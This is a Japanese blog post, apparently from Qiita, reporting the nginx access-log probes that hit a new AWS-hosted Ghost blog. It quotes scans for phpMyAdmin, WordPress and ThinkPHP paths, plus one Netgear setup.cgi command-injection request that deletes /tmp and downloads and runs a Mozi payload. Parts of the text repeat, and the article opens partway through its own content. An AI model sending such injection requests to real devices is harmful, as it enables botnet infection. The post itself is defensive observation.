xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:06 +0000] "GET /news/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:06 +0000] "GET /2018/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:07 +0000] "GET /2019/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:07 +0000] "GET /shop/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:07 +0000] "GET /wp1/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:07 +0000] "GET /test/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:07 +0000] "GET /media/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:07 +0000] "GET /wp2/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:07 +0000] "GET /site/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:07 +0000] "GET /cms/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:08 +0000] "GET /sito/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"

'wlwmanifest.xml'というファイルの在りかを、必死に探っているようです。このファイルは、Windows Live Writerというツールの設定ファイルだそうです。このファイルの中身を見られたところで、直接的な被害はないそうなのですが、古いバージョンのWordpressを使っていることが攻撃者に知られていしまい、今後の攻撃の対象になってしまうかもしれません。そのため、現在はWordpressユーザーはこのファイルを隠しておくのがベターとなっているそうです。

フレームワークの脆弱性を狙い撃ち

中国の、テンセントクラウド上で動くサーバーから、以下のようなリクエストが来ていました。

xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:41 +0000] "GET /TP/public/index.php HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:41 +0000] "GET /TP/public/index.php/ HTTP/1.1" 301 55 "http://yyy.yyy.yyy.yyy/TP/public/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:41 +0000] "GET /tp/public/index.php/ HTTP/1.1" 404 2311 "http://yyy.yyy.yyy.yyy/TP/public/index.php/" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:42 +0000] "GET /TP/index.php HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:42 +0000] "GET /TP/index.php/ HTTP/1.1" 301 48 "http://yyy.yyy.yyy.yyy/TP/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:42 +0000] "GET /tp/index.php/ HTTP/1.1" 404 2311 "http://yyy.yyy.yyy.yyy/TP/index.php/" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:42 +0000] "GET /thinkphp/html/public/index.php HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:42 +0000] "GET /thinkphp/html/public/index.php/ HTTP/1.1" 404 2311 "http://yyy.yyy.yyy.yyy/thinkphp/html/public/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:42 +0000] "GET /html/public/index.php HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:43 +0000] "GET /html/public/index.php/ HTTP/1.1" 404 2311 "http://yyy.yyy.yyy.yyy/html/public/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:43 +0000] "GET /public/index.php HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:43 +0000] "GET /public/index.php/ HTTP/1.1" 404 2311 "http://yyy.yyy.yyy.yyy/public/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:43 +0000] "GET /TP/html/public/index.php HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:43 +0000] "GET /TP/html/public/index.php/ HTTP/1.1" 301 60 "http://yyy.yyy.yyy.yyy/TP/html/public/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:44 +0000] "GET /tp/html/public/index.php/ HTTP/1.1" 404 2311 "http://yyy.yyy.yyy.yyy/TP/html/public/index.php/" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:44 +0000] "GET /elrekt.php HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:46 +0000] "GET /elrekt.php/ HTTP/1.1" 404 2311 "http://yyy.yyy.yyy.yyy/elrekt.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:46 +0000] "GET /index.php HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:46 +0000] "GET /index.php/ HTTP/1.1" 404 2311 "http://yyy.yyy.yyy.yyy/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:46 +0000] "GET / HTTP/1.1" 200 3451 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"

ThinkPHPという、中国で人気のPHPのフレームワークの脆弱性を狙った攻撃だそうです。こちらのブログに、該当脆弱性の説明が詳しく載っています。一言でまとめると、OSコマンドインジェクションのようなものが可能になってしまう脆弱性だそうです。

ルーターの脆弱性を狙った攻撃

この記事を書いている最中にも、攻撃が来ました。中国湖南省からはるばるお越しです。下のようなリクエストでした。

xxx.xxx.xxx.xxx - - [15/Jan/2020:03:47:25 +0000] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 404 178 "-" "-"

Netgearのルーターの脆弱性で、setup.cgiというファイルにパラメーターを渡して実行することで、OSコマンドインジェクションができてしまうそうです(参考)。rm -rf /tmp/*とか、ブッソウなコマンドが渡されています。幸い私はこの脆弱性に関係なかったので、無傷でした。

まとめ

ツールの脆弱性をつく攻撃が多かったです。サーバーにインストールしているツールやフレームワークは、こまめにアップデートする必要がありそうです。

攻撃の中でも、WordpressやPHPを狙ったものが多かったです。これらはシェアが高いだけに、攻撃にさらされる機会も増えるのかもしれません。

また、私のウェブサイトのように、コンテンツが一切なく誰からもアクセスされないようなものであっても、しっかり攻撃が来ていました。サイバー攻撃を他人事だと思わず、誰もがしっかり対策するべきなのだと実感させられました。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

自前のサーバーにブログを開いた途端、世界中から怪しい攻撃が来た話

はじめに

概要

AWSの個人アカウントでEC2インスタンスを立ち上げて、そこにNginxやCMSを入れて、ブログを開設しました。ドメイン名を取得してIPアドレスとの紐づけ等はしましたが、コンテンツはまだ投稿しておらず、ロクにアクセスも来るはずがありません。

ところが、Nginxのアクセスログを見てみると、作成して1,2日のうちに、世界中から攻撃を試みられていたことがわかりました。ここでは、具体的にどのような攻撃があったのかについてまとめておきます。

internet_dos_attack.png

サーバーの設定

サーバーは、EC2のt2.mediumのインスタンスです。ミドルウェアとしてはNginxとMySQLを入れていて、CMSとしては、私が苦手なPHPで動くWordpressではなく、Node.jsで動くGhostを入れました。

攻撃の内容

以下に攻撃の内容を具体的に記します。大体同じような内容の攻撃的なアクセスが、世界中に散らばった複数個所から来ていました。

DBへの攻撃

ドイツのハンブルグ周辺及び台湾北部から、以下のようなリクエストが来ていました。

xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:03 +0000] "GET /mysql/admin/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:05 +0000] "GET /mysql/dbadmin/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:05 +0000] "GET /mysql/sqlmanager/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:06 +0000] "GET /mysql/mysqlmanager/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:07 +0000] "GET /phpmyadmin/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:08 +0000] "GET /phpMyadmin/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:08 +0000] "GET /phpMyAdmin/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:09 +0000] "GET /phpmyAdmin/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:11 +0000] "GET /phpmyadmin1/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:13 +0000] "GET /phpmyadmin2/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:14 +0000] "GET /phpmyadmin3/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:16 +0000] "GET /phpmyadmin4/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:17 +0000] "GET /2phpmyadmin/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:17 +0000] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:19 +0000] "GET /phpmy/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:22 +0000] "GET /phppma/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:22 +0000] "GET /myadmin/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:23 +0000] "GET /shopdb/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:25 +0000] "GET /MyAdmin/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:25 +0000] "GET /program/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:26 +0000] "GET /PMA/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"

これらのリクエストは、PHPMyAdminの場所を探しているようです。私の場合はそもそもPHPMyAdminを入れてないのでこの攻撃には無傷で済んだのですが、もし入れている場合は、このような攻撃にさらされることを前提に、わかりにくい場所に置いておく必要がありそうです。

Wordpressの情報の収集

以下のようなリクエストが、アメリカのGCP上のサーバー及び、イギリスのロンドン周辺のサーバーから届いていました。

xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:04 +0000] "GET /wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:05 +0000] "GET /xmlrpc.php?rsd HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:05 +0000] "GET / HTTP/1.1" 200 22348 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:06 +0000] "GET /blog/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:06 +0000] "GET /web/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:06 +0000] "GET /wordpress/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:06 +0000] "GET /website/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:06 +0000] "GET /wp/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:06 +0000] "GET /news/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:06 +0000] "GET /2018/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:07 +0000] "GET /2019/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:07 +0000] "GET /shop/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:07 +0000] "GET /wp1/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:07 +0000] "GET /test/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:07 +0000] "GET /media/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:07 +0000] "GET /wp2/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:07 +0000] "GET /site/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:07 +0000] "GET /cms/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:08 +0000] "GET /sito/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"

'wlwmanifest.xml'というファイルの在りかを、必死に探っているようです。このファイルは、Windows Live Writerというツールの設定ファイルだそうです。このファイルの中身を見られたところで、直接的な被害はないそうなのですが、現在はWordpressユーザーはこのファイルを隠しておくのがベターだそうです。

ThinkPHPの脆弱性を狙い撃ち

中国の、テンセントクラウド上で動くサーバーから、以下のようなリクエストが来ていました。

xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:41 +0000] "GET /TP/public/index.php HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:41 +0000] "GET /TP/public/index.php/ HTTP/1.1" 301 55 "http://yyy.yyy.yyy.yyy/TP/public/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:41 +0000] "GET /tp/public/index.php/ HTTP/1.1" 404 2311 "http://yyy.yyy.yyy.yyy/TP/public/index.php/" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:42 +0000] "GET /TP/index.php HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:42 +0000] "GET /TP/index.php/ HTTP/1.1" 301 48 "http://yyy.yyy.yyy.yyy/TP/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:42 +0000] "GET /tp/index.php/ HTTP/1.1" 404 2311 "http://yyy.yyy.yyy.yyy/TP/index.php/" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"152.136.67.176 - - [13/Jan/2020:06:56:42 +0000] "GET /thinkphp/html/public/index.php HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:42 +0000] "GET /thinkphp/html/public/index.php/ HTTP/1.1" 404 2311 "http://yyy.yyy.yyy.yyy/thinkphp/html/public/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:42 +0000] "GET /html/public/index.php HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:43 +0000] "GET /html/public/index.php/ HTTP/1.1" 404 2311 "http://yyy.yyy.yyy.yyy/html/public/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:43 +0000] "GET /public/index.php HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:43 +0000] "GET /public/index.php/ HTTP/1.1" 404 2311 "http://yyy.yyy.yyy.yyy/public/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:43 +0000] "GET /TP/html/public/index.php HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:43 +0000] "GET /TP/html/public/index.php/ HTTP/1.1" 301 60 "http://yyy.yyy.yyy.yyy/TP/html/public/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:44 +0000] "GET /tp/html/public/index.php/ HTTP/1.1" 404 2311 "http://yyy.yyy.yyy.yyy/TP/html/public/index.php/" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:44 +0000] "GET /elrekt.php HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:46 +0000] "GET /elrekt.php/ HTTP/1.1" 404 2311 "http://yyy.yyy.yyy.yyy/elrekt.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:46 +0000] "GET /index.php HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
